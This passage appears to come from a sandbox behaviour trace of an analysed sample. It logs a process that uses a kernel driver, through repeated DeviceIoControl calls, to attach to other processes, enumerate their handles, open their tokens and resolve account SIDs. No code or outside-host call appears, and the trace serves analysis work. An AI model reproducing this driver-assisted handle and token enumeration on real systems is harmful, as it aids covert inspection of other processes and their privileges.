lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0095.218] PsLookupProcessByProcessId (in: ProcessId=0xaa0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.218] PsAcquireProcessExitSynchronization () returned 0x0 [0095.218] KeStackAttachProcess (in: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880052335d0) [0095.218] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002044750, HandleInformation=0x0) returned 0x0 [0095.218] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.218] PsReleaseProcessExitSynchronization () returned 0x2 [0095.218] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x10 [0095.218] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233508) returned 0x0 [0095.218] ObfDereferenceObject (Object=0xfffffa8002044750) returned 0x1 [0095.218] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.218] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.218] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.218] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0095.218] PsLookupProcessByProcessId (in: ProcessId=0xaa0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.218] PsAcquireProcessExitSynchronization () returned 0x0 [0095.218] KeStackAttachProcess (in: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880052335d0) [0095.218] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002056c20, HandleInformation=0x0) returned 0x0 [0095.218] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.218] PsReleaseProcessExitSynchronization () returned 0x2 [0095.218] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x10 [0095.218] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.218] ObfDereferenceObject (Object=0xfffffa8002056c20) returned 0x1 [0095.218] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.218] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.219] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.219] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.219] PsLookupProcessByProcessId (in: ProcessId=0xaa0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.219] PsAcquireProcessExitSynchronization () returned 0x0 [0095.219] KeStackAttachProcess (in: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880052335d0) [0095.219] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0095.219] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.219] PsReleaseProcessExitSynchronization () returned 0x2 [0095.219] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x10 [0095.219] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0095.219] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0095.219] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.219] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.219] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xab0) returned 0xc0 [0095.219] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.219] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002115b30, HandleInformation=0x0) returned 0x0 [0095.219] ObOpenObjectByPointer (in: Object=0xfffffa8002115b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0095.219] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x12 [0095.219] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800365a600 | out: TokenHandle=0xfffffa800365a600*=0xc8) returned 0x0 [0095.219] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0095.219] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.219] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.219] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.221] CloseHandle (hObject=0xc8) returned 1 [0095.221] CloseHandle (hObject=0xc0) returned 1 [0095.221] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.221] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0095.221] PsLookupProcessByProcessId (in: ProcessId=0xab0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.221] PsAcquireProcessExitSynchronization () returned 0x0 [0095.221] KeStackAttachProcess (in: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880052335d0) [0095.221] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020f7cb0, HandleInformation=0x0) returned 0x0 [0095.221] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.221] PsReleaseProcessExitSynchronization () returned 0x2 [0095.221] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x10 [0095.221] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233508) returned 0x0 [0095.221] ObfDereferenceObject (Object=0xfffffa80020f7cb0) returned 0x1 [0095.221] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.221] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.221] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.221] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0095.221] PsLookupProcessByProcessId (in: ProcessId=0xab0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.221] PsAcquireProcessExitSynchronization () returned 0x0 [0095.221] KeStackAttachProcess (in: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880052335d0) [0095.221] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001a225b0, HandleInformation=0x0) returned 0x0 [0095.221] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.221] PsReleaseProcessExitSynchronization () returned 0x2 [0095.222] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x10 [0095.222] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233508) returned 0x0 [0095.222] ObfDereferenceObject (Object=0xfffffa8001a225b0) returned 0x1 [0095.222] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.222] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.222] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.222] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.222] PsLookupProcessByProcessId (in: ProcessId=0xab0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.222] PsAcquireProcessExitSynchronization () returned 0x0 [0095.222] KeStackAttachProcess (in: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880052335d0) [0095.222] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0095.222] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.222] PsReleaseProcessExitSynchronization () returned 0x2 [0095.222] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x10 [0095.222] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038c97c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038c97c4, ReturnLength=0xfffff88005233550) returned 0x0 [0095.222] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0095.222] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.222] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.222] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xac0) returned 0xc0 [0095.222] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.222] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002110630, HandleInformation=0x0) returned 0x0 [0095.222] ObOpenObjectByPointer (in: Object=0xfffffa8002110630, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0095.222] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x12 [0095.222] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800365a600 | out: TokenHandle=0xfffffa800365a600*=0xc8) returned 0x0 [0095.222] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0095.222] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.222] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.222] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.224] CloseHandle (hObject=0xc8) returned 1 [0095.224] CloseHandle (hObject=0xc0) returned 1 [0095.224] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.224] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0095.224] PsLookupProcessByProcessId (in: ProcessId=0xac0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.224] PsAcquireProcessExitSynchronization () returned 0x0 [0095.224] KeStackAttachProcess (in: PROCESS=0xfffffa8002110630, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002110630, ApcState=0xfffff880052335d0) [0095.224] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020ceba0, HandleInformation=0x0) returned 0x0 [0095.225] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.225] PsReleaseProcessExitSynchronization () returned 0x2 [0095.225] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x10 [0095.225] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.225] ObfDereferenceObject (Object=0xfffffa80020ceba0) returned 0x1 [0095.225] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.225] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.225] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.225] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0095.225] PsLookupProcessByProcessId (in: ProcessId=0xac0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.225] PsAcquireProcessExitSynchronization () returned 0x0 [0095.225] KeStackAttachProcess (in: PROCESS=0xfffffa8002110630, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002110630, ApcState=0xfffff880052335d0) [0095.225] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002127ac0, HandleInformation=0x0) returned 0x0 [0095.225] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.225] PsReleaseProcessExitSynchronization () returned 0x2 [0095.225] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x10 [0095.225] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001edd044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001edd044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.225] ObfDereferenceObject (Object=0xfffffa8002127ac0) returned 0x1 [0095.225] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.225] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.225] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.225] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.225] PsLookupProcessByProcessId (in: ProcessId=0xac0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.225] PsAcquireProcessExitSynchronization () returned 0x0 [0095.225] KeStackAttachProcess (in: PROCESS=0xfffffa8002110630, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002110630, ApcState=0xfffff880052335d0) [0095.225] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0095.225] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.225] PsReleaseProcessExitSynchronization () returned 0x2 [0095.225] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x10 [0095.225] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001942044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001942044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.226] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0095.226] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.226] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.226] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xad0) returned 0xc0 [0095.226] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.226] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002121b30, HandleInformation=0x0) returned 0x0 [0095.226] ObOpenObjectByPointer (in: Object=0xfffffa8002121b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0095.226] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x12 [0095.226] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800365a600 | out: TokenHandle=0xfffffa800365a600*=0xc8) returned 0x0 [0095.226] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0095.226] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.226] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.226] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.227] CloseHandle (hObject=0xc8) returned 1 [0095.227] CloseHandle (hObject=0xc0) returned 1 [0095.227] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.227] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0095.228] PsLookupProcessByProcessId (in: ProcessId=0xad0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.228] PsAcquireProcessExitSynchronization () returned 0x0 [0095.228] KeStackAttachProcess (in: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880052335d0) [0095.228] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020ca070, HandleInformation=0x0) returned 0x0 [0095.228] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.228] PsReleaseProcessExitSynchronization () returned 0x2 [0095.228] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x10 [0095.228] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.228] ObfDereferenceObject (Object=0xfffffa80020ca070) returned 0x1 [0095.228] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.228] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.228] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.228] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0095.228] PsLookupProcessByProcessId (in: ProcessId=0xad0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.228] PsAcquireProcessExitSynchronization () returned 0x0 [0095.228] KeStackAttachProcess (in: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880052335d0) [0095.228] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800212f6f0, HandleInformation=0x0) returned 0x0 [0095.228] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.228] PsReleaseProcessExitSynchronization () returned 0x2 [0095.228] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x10 [0095.228] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ed1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ed1044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.228] ObfDereferenceObject (Object=0xfffffa800212f6f0) returned 0x1 [0095.228] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.228] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.228] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.228] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.228] PsLookupProcessByProcessId (in: ProcessId=0xad0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.228] PsAcquireProcessExitSynchronization () returned 0x0 [0095.228] KeStackAttachProcess (in: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880052335d0) [0095.229] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0095.229] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.229] PsReleaseProcessExitSynchronization () returned 0x2 [0095.229] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x10 [0095.229] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002057044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002057044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.229] ObfDereferenceObject 